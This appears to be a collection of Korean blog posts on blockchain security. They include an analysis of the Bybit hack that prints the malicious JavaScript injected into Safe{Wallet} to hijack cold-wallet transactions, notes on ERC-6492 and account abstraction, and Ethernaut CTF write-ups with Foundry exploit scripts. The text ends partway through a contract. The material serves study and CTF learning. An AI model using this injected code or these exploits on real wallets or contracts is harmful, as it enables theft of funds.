https://x.com/benbybit/status/1892963530422505586

Lazarus에 의해 2025년 2월 21일에 해킹을 당했고, 이로 인해 약 14억 달러 상당의 ETH가 탈취당했습니다.

요약

https://x.com/SlowMist_Team/status/1895032507046973848/photo/1

1. APT 공격을 통해 Safe{wallet} 내부 서버 침투 -> 웹사이트에 사용되는 JavaScript 파일 변조

2. 변조된 JavaScript를 통해 Bybit cold wallet 컨트랙트 내 백도어 컨트랙트가 심어짐

3. 백도어 컨트랙트를 통해 공격자는 자금을 탈취할 수 있었음


분석

Safe{Wallet}의 AWS S3 버킷에서 제공된 리소스의 캐시 파일을 분석한 결과, 해당 파일들이 마지막으로 수정된 날짜가 2025/2/19

실제 공격에 사용된 코드 일부

공격자는 트랜잭션을 실행하는 핵심 함수 (executeTransaction, signTransaction)를 변조하였습니다.

function signTransaction 수정

# 정상적인 예시
async function signTransaction(transaction, options) {
    return await safeSDK.signTransaction(transaction, options);
}

 

# 변경된 코드
async function signTransaction(transaction, options) {
    let safeSDK = n;
    let safeTransaction = transaction;
    let txOptions = options;

    let targetSafeAddresses = [
        "0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4", // bybit cold wallet
        "0x19c6876e978d9f128147439ac4cd9ea2582cd141"  // 테스트 주소
    ];
    let targetSignerAddresses = [
        "0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
        "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"  // 테스트 주소
    ];
	
    // 공격자의 contract 주소
    let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";

    let safeAddress = await safeSDK.getAddress();
    let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();

    safeAddress = safeAddress.toLowerCase();
    signerAddress = signerAddress.toLowerCase();

    const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
    const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));

    if (isTargetedSigner) {
        location.href = location.href; // proposer가 승인할 수 없도록 페이지를 새로고침
    }
	
    // bybit cold wallet인 경우
    if (isTargetedSafe && safeTransaction.data.operation === 0) {
        const originalTransactionData = structuredClone(safeTransaction.data);

        safeTransaction.data.to = attackerAddress; // 공격자 주소로 바꿈
        safeTransaction.data.operation = 1; //delegate call
        safeTransaction.data.value = 0;

        try {
        	// 악성 트랜잭션에 서명
            let result = await safeSDK.signTransaction(safeTransaction, txOptions);
            
            // 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
            safeTransaction.data = originalTransactionData;
            return result;
        } catch (e) {
        	
            // 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
            safeTransaction.data = originalTransactionData;
            throw e;
        }
    }
	// target이 아니면 정상 동작
    return await safeSDK.signTransaction(safeTransaction, txOptions);
}

 

function executeTransaction 수정

# 정상적인 예시
async function signTransaction(transaction, options) {
    return await safeSDK.signTransaction(transaction, options);
}
# 변경된 코드
async function executeTransaction(transaction, options) {
    let safeSDK = c;
    let safeTransaction = transaction; // 트랜잭션 객체
    let txOptions = options;

    // 특정 주소 (bybit cold wallet)인지 확인하기 위함
    let targetSafeAddresses = [
        "0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4",  // bybit cold wallet 주소
        "0x19c6876e978d9f128147439ac4cd9ea2582cd141"  // 테스트 주소
    ];
    let targetSignerAddresses = [
        "0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
        "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"  // 테스트 주소
    ];

    // 공격자의 contract 주소
    let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";

    // 실행할 악성 페이로드  -> transfer(0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516, 0)
    let attackPayload = "0xa9059cbb000000000000000000000000bdd077f651ebe7f7b3ce16fe5f2b025be29695160000000000000000000000000000000000000000000000000000000000000000";
    let safeAddress = await safeSDK.getAddress();
    let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();
    
    safeAddress = safeAddress.toLowerCase();
    signerAddress = signerAddress.toLowerCase();

    const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
    const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));

    if (isTargetedSafe && safeTransaction.data.operation === 0) {

        // 원래 트랜잭션 데이터 저장 (탐지 방지용)
        const originalTransactionData = structuredClone(safeTransaction.data);

        // 공격자의 contract에서 payload를 실행할 수 있도록 데이터 수정
        safeTransaction.data.to = attackerAddress;
        safeTransaction.data.operation = 1; // delegatecall
        safeTransaction.data.data = attackPayload;
        safeTransaction.data.value = 0;

        try {
      	
        // 변경된 트랜잭션 실행
            let result = await safeSDK.executeTransaction(safeTransaction, txOptions);

        // 원래 트랜잭션 데이터 복구
            safeTransaction.data = originalTransactionData;
            return result;
        } catch (e) {
        
        // 오류 발생 시 원래 트랜잭션 복구 후 오류 발생
            safeTransaction.data = originalTransactionData;
            throw e;
        }
    }
	
    // target이 아니라면 정상 실행
    return await safeSDK.executeTransaction(safeTransaction, txOptions);
}

원래 트랜잭션 데이터를 저장해뒀다가 복구하는 모습과, delegatecall을 통한 호출을 볼 수 있는데 

그렇다면 왜 delegatecall을 호출할까요?

ethernaut의 문제에서 다뤘던 부분과 동일합니다.

bybit cold wallet contract

delegatecall로 호출할 때, 스토리지 상태 변수 슬롯에서 같은 위치에 있는 경우 값을 변경할 수 있습니다.

masterCopy 주소 변경을 위해 사용된 공격자의 contract

결과적으로 공격자의 contract로 delegatecall 호출하는 transaction에 서명 + 실행하도록 조작하여 bybit cold wallet의 impl주소인 masterCopy주소를 backdoor 컨트랙트로 변경하였습니다.

실제 공격 TX

공격자가 safe{wallet}의 프론트엔드 코드 변조

     -> Bybit cold wallet에서 서명 시도(safe proposer가 서명하려고하면 새로고침, 일반 이용자는 정상)

          -> 변조된 javascript 실행 

               -> Bybit cold wallet 컨트랙트를 공격자가 장악

 

위 사진의 트랜잭션 내용은 여기까지 진행된 상황입니다.

 

multi-sig wallet을 이용하기 때문에 bybit cold wallet의 서명을 하기위해서 서명자들의 개인키가 필요한데?

  • 프론트엔드 코드를 변조하여 멀티시그 서명이 감지되면 자동으로 악의적인 트랜잭션이 실행되도록 수정해놓았기 때문에 따로 서명자들의 정보가 필요가 없음

자금 탈취

bybit cold wallet을 장악했으니 공격자 지갑으로 옮기는 일만 남았습니다.

공격자 지갑으로 옮겨진 코인들

sweepETH, sweepERC20 함수 호출을 통해 모두 옮겼습니다.

이후 Bybit에서는 탈취된 자금을 추적하고 동결하기 위해서 바운티 프로그램을 열었습니다.

현재 탈취된 금액 89.07%인 약 11억 달러를 추적하고 있습니다.

자금 흐름 현황

  탈취 자금 유입 대상 총 금액 추적 불가 금액 추적 가능 금액 상태
1 Thorchain $1,087,391,200 $0 $1,087,391,200 추적 중
2 OKX Web3 Proxy $130,718,000 $11,158,000 $119,560,000 대기
3 Maya Protocol $11,270,000 $0 $11,270,000 추적 중
4 Li.fi $4,914,000 $0 $4,914,000 추적 중
5 Transit Swap $313,492 $0 $313,492 추적 중
동결된 금액  $43,799,949 (3.46%)
대기중인 금액 $94,598,453 (7.47%)

 

사고 이후 Safe{Wallet}은?

트윗 일부

Safe{Wallet} 팀은 모든 인프라를 완전히 재구축하고 재구성했으며, 모든 자격 증명을 교체하여 공격 벡터를 완전히 제거했다고 전했습니다.


Ref

https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34

https://docsend.com/view/s/rmdi832mpt8u93s7

https://x.com/safe/status/1894768522720350673

https://x.com/zachxbt/status/1893213901501710683

'Analyze' 카테고리의 다른 글

트랜잭션 분석을 통해 계정 추상화 알아보기  (0) 2025.01.18
Compound V2 donation attack  (0) 2024.11.10

Abstract

ERC-1271은 서명을 검증하는 표준이지만, 아직 배포되지 않은 컨트랙트의 서명 검증은 불가능한 한계가 존재

ERC-6492는 미배포 컨트랙트(counterfactual contract)도 서명 검증을 수행할 수 있도록 ERC-1271을 확장한 표준

  • 특정 형식의 서명 래핑(wrapping) 방식을 통해 서명을 검증할 때 컨트랙트를 먼저 배포할 수 있도록 함

Motivation

계정 추상화가 발전하면서, smart account wallet의 첫 트랜잭션 시점에 배포되는 것이 일반적

그러나 대부분 DApp은 로그인이나 인증을 위해 서명을 요구하며, 아직 배포되지 않은 스마트 지갑의 서명 검증이 어려운 한계점을 극복하는 것이 목표

Specification

# ERC-1271
isValidSignature
함수는 서명을 검증하기 위해 호출 할 수 있으며, 상황에 따라 달라질 수 있다.

시간 기반(time based): 특정 시간 내에서만 유효한 서명

  • 상태 기반(state based): 스마트 컨트랙트의 특정 상태에 따라 서명의 유효성이 달라짐
  • EOA 기반: 스마트 월렛 내에서 서명자의 권한 수준에 따라 서명의 유효성이 결정
  • 서명 방식: ECDSA, multisig, BLS 등 다양한 서명 방식 지원

이 함수는 메시지를 서명하고자 하는 컨트랙트(smart account wallet)에 의해 구현되어야 한다.
서명을 지원하려는 app은 서명자가 스마트 컨트랙트인 경우 반드시 이 함수를 호출하여 서명을 검증해야 한다.

 

ERC-1271 기존의 isValidSignature 함수를 그대로 사용하지만, 새로운 형식을 추가한 형태

검증자는 서명이 래핑 형식인지 확인한 후 -> 해당 형식이라면 isValidSignature를 호출하기 전에 반드시 컨트랙트를 배포해야 한다.

 

래핑 형식 여부는 서명의 마지막이 magicBytes 값으로 끝나는지 확인하여 판별한다.

  • magicBytes = 0x6492649264926492649264926492649264926492649264926492649264926492

ERC-6492는 CREATE2와 함께 사용하는 것이 권장

  •  컨트랙트가 배포되기 전에도 예측 가능한 주소를 알 수 있음

Signer Side

컨트랙트가 이미 배포된 경우

  • 일반적인 ERC-1271 서명 형식을 사용하여 서명을 생성

컨트랙트가 아직 배포되지 않은 경우

concat(abi.encode((create2Factory, factoryCalldata, originalERC1271Signature), (address, bytes, bytes)), magicBytes)
  • create2Factory: 컨트랙트를 배포할 팩토리 주소
  • factoryCalldata: 컨트랙트 배포에 필요한 데이터
  • originalERC1271Signature: 기존 ERC-1271 서명
  • magicBytes:0x6492649264926492649264926492649264926492649264926492649264926492

컨트랙트가 배포되었지만, ERC-1271 검증을 수행할 준비가 되지 않은 경우

concat(abi.encode((prepareTo, prepareData, originalERC1271Signature), (address, bytes, bytes)), magicBytes)
  • prepareTo: 컨트랙트를 특정 상태로 변경할 주소
  • prepareData: ERC-1271 검증이 가능하도록 컨트랙트를 준비하는 트랜잭션 데이터 (migrate, update)
  • originalERC1271Signature: 기존 ERC-1271 서명
  • magicBytes: 0x6492649264926492649264926492649264926492649264926492649264926492

 

salt 및 bytecode 대신 factoryCalldata를 전달한다는 점에 유의 

  • 어떤 팩토리 인터페이스에서도 서명 검증이 가능하도록 만들기 위함

create2Factory/salt/bytecode를 기반으로 주소를 계산할 필요가 없음

  • CREATE2를 사용할 경우, 컨트랙트 주소를 미리 알고 있기 때문

 Verifier side

서명 검증은 반드시 다음 순서대로 수행

 

1. 서명이 magic bytes로 끝나는지 확인

  • magic bytes가 감지 -> eth_call을 사용하여 멀티콜 컨트랙트를 실행
  • 멀티콜 컨트랙트는 먼저 factoryCalldata를 통해 팩토리 컨트랙트를 호출 -> smart account가 아직 배포되지 않았다면 배포

2. 해당 주소에 컨트랙트 코드가 존재하는지 확인

  • 코드가 존재 -> 기존 ERC-1271 방식대로 isValidSignature 함수를 호출하여 서명을 검증

3. ERC-1271 검증이 실패했거나, smart account가 이미 배포된 상태여서 배포 과정 넘긴 경우

  • factoryCalldata를 실행하여 추가적으로 필요한 트랜잭션을 수행한 후,  ERC-6452 방식의 isValidSignature 함수를 호출하여 서명을 검증

4.컨트랙트 코드가 없는 경우

  • ecrecover 방식을 사용하여 서명을 검증 (ecrecover 검증은 반드시 ERC-1271 검증보다 후순위)

Rationale

 

서명을 래핑하여 배포 데이터를 포함하는 이유

  • 서명을 래핑하여 배포 데이터를 함께 전달할 수 있도록 하는 것이 가장 깔끔한 해결책이라고 생각함
  • 컨트랙트에 의존하지 않으며 서명 검증이 간단하고 일관되게 수행될 수 있음

magicBytes를 활용하는 이유

 

  • magicBytes의 마지막 값 = 0x92, 이는 ECDSA의 ecrecover 서명(r, s, v)에서 v 값으로 사용할 수 없는 값이기 때문에 magicBytes가 포함된 서명은 ecrecover와 충돌할 가능성이 없음.

또한 magicBytes 자체가 32바이트로  일반적인 ERC-1271 서명과도 충돌할 위험이 없다.

 

Signature Verification Order

 

1. magicBytes 확인을 먼저 수행해야 함

  • 서명이 배포 전후에 일관되게 검증될 수 있도록 보장.

2. magicBytes 확인이 ecrecover 검증보다 먼저 수행되어야 함

  • magicBytes를 먼저 확인하면 ecrecover를 통해 잘못 검증되는 것을 방지 할 수 있음

3. ecrecover 검증은 반드시 ERC-1271 검증 후에 수행해야 함

  • 일부 스마트 컨트랙트가 ecrecover 방식과 유사한 서명 형식을 사용할 수 있기 때문

magicBytes를 통해 블록체인을 조회하지 않고도 서명인지 즉시 알 수 있으며 create2FactoryfactoryCalldata를 사용하면 서명만으로 컨트랙트의 주소를 복구할 수 있는 장점이 있다.

 

 Reference Implementation

interface IERC1271Wallet {
  function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue);
}

error ERC1271Revert(bytes error);
error ERC6492DeployFailed(bytes error);

contract UniversalSigValidator {
  bytes32 private constant ERC6492_DETECTION_SUFFIX = 0x6492649264926492649264926492649264926492649264926492649264926492;
  bytes4 private constant ERC1271_SUCCESS = 0x1626ba7e;

  function isValidSigImpl(
    address _signer,
    bytes32 _hash,
    bytes calldata _signature,
    bool allowSideEffects,
    bool tryPrepare
  ) public returns (bool) {
    uint contractCodeLen = address(_signer).code.length;
    bytes memory sigToValidate;
    // The order here is strictly defined in https://eips.ethereum.org/EIPS/eip-6492
    // - ERC-6492 suffix check and verification first, while being permissive in case the contract is already deployed; if the contract is deployed we will check the sig against the deployed version, this allows 6492 signatures to still be validated while taking into account potential key rotation
    // - ERC-1271 verification if there's contract code
    // - finally, ecrecover
    bool isCounterfactual = bytes32(_signature[_signature.length-32:_signature.length]) == ERC6492_DETECTION_SUFFIX;
    if (isCounterfactual) {
      address create2Factory;
      bytes memory factoryCalldata;
      (create2Factory, factoryCalldata, sigToValidate) = abi.decode(_signature[0:_signature.length-32], (address, bytes, bytes));

      if (contractCodeLen == 0 || tryPrepare) {
        (bool success, bytes memory err) = create2Factory.call(factoryCalldata);
        if (!success) revert ERC6492DeployFailed(err);
      }
    } else {
      sigToValidate = _signature;
    }

    // Try ERC-1271 verification
    if (isCounterfactual || contractCodeLen > 0) {
      try IERC1271Wallet(_signer).isValidSignature(_hash, sigToValidate) returns (bytes4 magicValue) {
        bool isValid = magicValue == ERC1271_SUCCESS;

        // retry, but this time assume the prefix is a prepare call
        if (!isValid && !tryPrepare && contractCodeLen > 0) {
          return isValidSigImpl(_signer, _hash, _signature, allowSideEffects, true);
        }

        if (contractCodeLen == 0 && isCounterfactual && !allowSideEffects) {
          // if the call had side effects we need to return the
          // result using a `revert` (to undo the state changes)
          assembly {
           mstore(0, isValid)
           revert(31, 1)
          }
        }

        return isValid;
      } catch (bytes memory err) {
        // retry, but this time assume the prefix is a prepare call
        if (!tryPrepare && contractCodeLen > 0) {
          return isValidSigImpl(_signer, _hash, _signature, allowSideEffects, true);
        }

        revert ERC1271Revert(err);
      }
    }

    // ecrecover verification
    require(_signature.length == 65, 'SignatureValidator#recoverSigner: invalid signature length');
    bytes32 r = bytes32(_signature[0:32]);
    bytes32 s = bytes32(_signature[32:64]);
    uint8 v = uint8(_signature[64]);
    if (v != 27 && v != 28) {
      revert('SignatureValidator: invalid signature v value');
    }
    return ecrecover(_hash, v, r, s) == _signer;
  }

  function isValidSigWithSideEffects(address _signer, bytes32 _hash, bytes calldata _signature)
    external returns (bool)
  {
    return this.isValidSigImpl(_signer, _hash, _signature, true, false);
  }

  function isValidSig(address _signer, bytes32 _hash, bytes calldata _signature)
    external returns (bool)
  {
    try this.isValidSigImpl(_signer, _hash, _signature, false, false) returns (bool isValid) { return isValid; }
    catch (bytes memory error) {
      // in order to avoid side effects from the contract getting deployed, the entire call will revert with a single byte result
      uint len = error.length;
      if (len == 1) return error[0] == 0x01;
      // all other errors are simply forwarded, but in custom formats so that nothing else can revert with a single byte in the call
      else assembly { revert(error, len) }
    }
  }
}

// this is a helper so we can perform validation in a single eth_call without pre-deploying a singleton
contract ValidateSigOffchain {
  constructor (address _signer, bytes32 _hash, bytes memory _signature) {
    UniversalSigValidator validator = new UniversalSigValidator();
    bool isValidSig = validator.isValidSigWithSideEffects(_signer, _hash, _signature);
    assembly {
      mstore(0, isValidSig)
      return(31, 1)
    }
  }
}

 

On-chain validation

  • isValidSig(_signer, _hash, _signature)
  • isValidSigWithSideEffects(_signer, _hash, _signature)

Off-chain validation

ValidateSigOffchain 헬퍼 컨트랙트를 사용하면 eth_call을 통해 오프체인에서 서명을 검증할 수 있음

const isValidSignature = '0x01' === await provider.call({
  data: ethers.utils.concat([
    validateSigOffchainBytecode,
    (new ethers.utils.AbiCoder()).encode(['address', 'bytes32', 'bytes'], [signer, hash, signature])
  ])
})

Ref

https://eips.ethereum.org/EIPS/eip-6492

 

ERC-6492: Signature Validation for Predeploy Contracts

A way to verify a signature when the account is a smart contract that has not been deployed yet

eips.ethereum.org

 

계정 추상화의 등장

이더리움에서 사용하는 계정, CA는 개인키가 없고 EOA는 코드를 담을 수 없는 특징으로 인해 제약과 한계를 가지고 있음

→ 이러한 한계를 극복하기위해 CA와 EOA를 하나로 합쳐 사용할 수 있도록 Account Abstraction이 등장

 

자세한 설명은 아래를 참고해주세요


Tx info

실제 AA 관련 tx를 자세히 뜯어서 본적은 없어서 이번 기회에 조금 뜯어서 살펴보았습니다. (entrypoint 0.6버전 기준)

해당 Tx를 확인해보면 0x664eFbF41038dd0Dcf71cbCd3be4Dfc3224Cea48

→ Entry point로 calldata를 날려서 NFT가 mint된 것을 확인할 수 있음.

 

분석하며 찾아볼 주소

  • bundler
  • paymaster
  • user account
  • account factory

UserOperation 구조체

UserOperation ⇒ 계정 추상화 전용 transaction 이라고 생각하시면 됩니다 (혼동을 피하기 위해 UserOp로 만듬)

userOp 확인해보면 paymaster를 설정해 놓은 부분을 확인 할 수 있었습니다.

paymaster 이용시 호출 흐름

 

이제 handleOps 함수 구현체에서 주요 함수들 call trace를 따라가보며 분석을 진행해보겠습니다.

handleOps

Validate Loop  [1.  _validatePrepayment]

 

_getRequiredPrefund

paymaster 유/무에 따라 계산되는 가스량의 가중치가 달라지며 결과적으로 예상되는 Gas를 계산해서 반환합니다.

 

_validateAccountPrepayment

initcode가 있으면 계정 새로 생성하며 결과적으로 데이터 검증 및 자금 확인하는 로직을 수행합니다.

_createSenderIfNeeded -> createSender -> createAccount 순으로 호출
실제 Tx initcode

initcode 구성 : factory주소 +createAccount selector + owner주소 + salt 로 구성됩니다.

factory 주소 뒤에 붙어있는 func 4bytes

이렇게 생성된 주소는 sender 주소가 되며 user account로 사용하게 됩니다

sender = proxy 형태
implementation 주소

createAccount 함수에서 확인할 수 있듯이 proxy 형태로 배포되어있으며 implementation 주소에는 LightAccount가 배포되어있는 것을 확인할 수 있습니다

LightAccount Contract

sender 주소로 validateUserOp를 호출 -> userOp의 데이터를 검증하고 필요시 자금을 충전하는 로직을 거치게 됨

  • paymaster 주소가 0 → 사용자가 직접 지불해야하니까 필요시 자금을 충전해야함

실제 Tx에서는 결과적으로 정상적인 흐름이니 반환되는 데이터는

 

_validatePaymasterPrepayment

userOp에 paymaster가 존재할 때만 호출

_validateAccountPrepayment 함수와 유사하게 데이터 검증 및 자금 확인합니다.

  •  _validateAccountPrepayment -> sender를 통해 데이터를 검증
  •   _validatePaymasterPrepayment -> paymaster를 통해 데이터를 검증

paymaster bytecode

paymaster 역시 proxy로 되어있고 validatePaymasterUserOp 함수를 살펴보겠습니다.

validatePaymasterUserOp 1

entrypoint에서 호출한건지 확인 후 검증 로직으로 넘어갑니다.

validatePaymasterUserOp 2

서명길이가 ECDSA 표준에 맞게 되어있는지 서명자의 주소가 맞는지 검사합니다.

검사 결과에 따라 반환되는 데이터가 다르며 UserOp 데이터를 가공하는 것으로 보이는데, 이 코드로만 정확하게 알기 힘든 것 같아서 유사한 코드를 좀 찾아봤습니다.

비슷한 것 같은 구성

결과적으로 context -> 0 , validationData -> uint256(0 + validUntil + validAfter) 이렇게 반환된 것으로 보입니다.

종합해보면 userOp의 paymasterAndData를 가공한 데이터는 다음과 같습니다. 

  • paymaster → 0x4fd9098af9ddcb41da48a1d78f91f1398965addc
  • validUntil → 0
  • validAfter → 0x00677ac8ea
  • r → 0x20a2eb3485515625beda040f99074654a1ec1284a077795b353d71e3a401da827
  • s → 0x873382361a90afe7ac8b9077f8f3f23c07cd562b92443bcc6b8230e44a486951
  • v → 0x1b

결과적으로 _validatePrepayment 함수는 userOp 실행시 필요한 가스를 계산, 자금 확인, 데이터 검증 진행 하는 것을 알 수 있었습니다.


Validate Loop  [2.  _validateAccountAndPaymasterValidationData]

두 번째로 호출되는 함수는 이전에 저장된 데이터(validateData, pmvalidateData)를 검증하는 로직을 수행합니다.

두 번째로 호출되는 함수는 이전에 저장된 데이터(validateData, pmvalidateData)를 검증하는 로직을 수행합니다.

_validateAccountPrepayment 호출 후 반환된 값 -> 0 , _getValidationData 호출시 반환 데이터는 address(0), false

  • 첫 번째 조건문 → handleOps로 호출해서 expectedAggregator -> 0이므로 통과
  • 두 번째 조건문 → false 이므로 통과

_validatePaymasterPrepayment 호출 후 반환된 값 -> 0,

uint256(0 + validUntil + validAfter),  _getValidationData호출시 반환 데이터는  address(0), false

  • 첫 번째 조건문 → aggregator은 address(0)이므로 통과 (0이 아니면 서명 검증을 통과 못한 것으로 추정)
  • 두 번째 조건문 → block.timstamp 기준으로 유효한 기간인지 평가함 → false 이므로 통과

Execution Loop  [1.  _executeUserOp]

context -> 0 이후 innerHandleOp 함수 호출

  • innerHandleOp가 internal 호출로 실행 ->msg.sender는 tx.origin
  • this.innerHandleOp를 통해 호출하면, msg.sender는 항상 address(this)로 설정

innerHandleOp

innerHandleOp 함수에서 calldata대로 함수를 실행하게 됩니다.

Tx calldata

스캐너에서 봤던 NFT 민팅 요청을 여기서 호출하는 것을 확인 할 수 있었습니다.

이후 execute에 필요한 가스 + 검증 과정에 사용한 가스를 계산해서 _handlePostOp 함수로 넘겨줍니다.

 

_handlePostOp

가스’비’를 계산하고 paymaster의 postOp 함수를 호출 (paymaster x → 쓰고 남은 가스 환불)

  • EIP-1559에서는 maxFeePerGas와 maxPriorityFeePerGas가 분리되기 때문에 고려한 코드로 보임 maxFeePerGas와 maxPriorityFeePerGas + block.basefee 둘 중 더 작은 값 채택

postOp

별거 없다

데이터 길이, 모드, entrypoint에서 호출한지 확인하고 이상 없으면 넘어가는 걸로 보여집니다.

postOp 호출 이후 ~

이후 남는 건 _incrementDeposit 함수 호출해서 반환해줍니다. 

 

_executeUserOp 호출 -> _handlePostOp두 번 호출되는 형태로 구성되어 있어 의문이 들었습니다.

_handlePostOp를 두 번 호출할까?

첫 번째 호출 → 정상적인 처리

  • execute 호출 후 postOp가 정상적으로 실행되면 문제 X → paymaster는 사용된 가스비를 결제하고 끝

두 번째 호출 → 예외 상황 처리

  • 만약 postOp에서 revert → UserOp 실행 자체도 돌아가버림 → 이때 entrypoint는 paymaster가 사용된 가스비만큼 결제할 수 있도록 다시 postOp를 호출

결과적으로 _handlePostOp를 두 번 호출하는 이유는 가스비 회수를 보장하기 위함으로 보여집니다.


bundler : 0x664eFbF41038dd0Dcf71cbCd3be4Dfc3224Cea48

paymaster : 0x4fd9098af9ddcb41da48a1d78f91f1398965addc

user account : 0xA64D52f0f91a82452F0C9566193d56f92598416E

account factory : 0x00004EC70002a32400f8ae005A26081065620D20

'Analyze' 카테고리의 다른 글

Bybit 해킹  (3) 2025.03.08
Compound V2 donation attack  (0) 2024.11.10

 

'wargame' 카테고리의 다른 글

Force  (0) 2024.11.13
Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

귀엽다..!

PoC

selfdestruct 함수를 날리면 남아있는 eth를 받을 수 있다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

contract attack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
    receive() payable external{}
}

contract exploit is Script {
    
    function run() public {
        uint256 pk = pk;
        vm.startBroadcast(pk);

        address payable target = payable(0x215C2B126D60F16Ed2a9036A4Df030AA0724e7db);
        
        new attack{value: 0.001 ether}(target);

        vm.stopBroadcast();
    }
}

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

PoC

delegatecall을 통해서 외부 컨트랙트의 함수를 호출할 땐 스토리지가 덮여쓰일 수 있는데 이 점을 잘 고려해야합니다.

해당 문제는 Delegate 와 Delegation 컨트랙트의 owner가 같은 스토리지 번호를 사용하고 있기 때문에 pwn 함수를 호출하게 되면 Delegation 컨트랙트의 owner가 변경됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

contract exploit is Script {
    function run() public {
        uint pk = pk;
        vm.startBroadcast(pk);
        address target = 0xedC5EB529948aa0e3365b8EBA435dE81617Cc4A5;
        bytes memory data = abi.encodeWithSignature("pwn()");
        target.call(data);
        
        vm.stopBroadcast();
    }
}

 

Ref

- https://velog.io/@youngju307/Solidity-Call-vs-Delegate-Call

'wargame' 카테고리의 다른 글

Ethernaut All solved  (0) 2024.12.05
Force  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

 

PoC

동전의 앞, 뒷면(true,false)를 10번 맞추면 되는 문제

factor와 block number은 미리 알 수 있기 때문에 동전 앞,뒷면을 예측할 수 있습니다.

interface ICoinFlip{
    function flip(bool _guess) external returns (bool);
}
contract exploit {
    function attack() public{
        ICoinFlip target = ICoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
        uint factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

        uint blockValue = uint(blockhash(block.number - 1));
        uint coinflip = blockValue / factor;
        bool side = coinflip == 1 ? true : false;

        target.flip(side);
    }
}

'wargame' 카테고리의 다른 글

Force  (0) 2024.11.13
Delegate  (0) 2024.11.13
Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13

Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

 

PoC

EOA대신 CA로 호출하면 owner를 수정할 수 있습니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
interface ITelephone{
    function changeOwner(address _owner) external;
}
contract exploit is Script{
    function run() public{
        uint256 pk = pk;
        vm.startBroadcast(pk);
        new attack();
        vm.stopBroadcast();
    }
}
contract attack{
    constructor(){
        ITelephone target = ITelephone(0x66E30A375F40B30eEA6a12C59f32424842C36502);
        target.changeOwner(0x114C69ba39B7db730504B61fb8861Cb9b25C5540);
    }
}

 

Ref

- https://velog.io/@iwin1203/tx.origin%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-phishing-%EC%98%88%EC%A0%9C

 

'wargame' 카테고리의 다른 글

Delegate  (0) 2024.11.13
Coinflip  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
Vault  (0) 2024.11.13
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

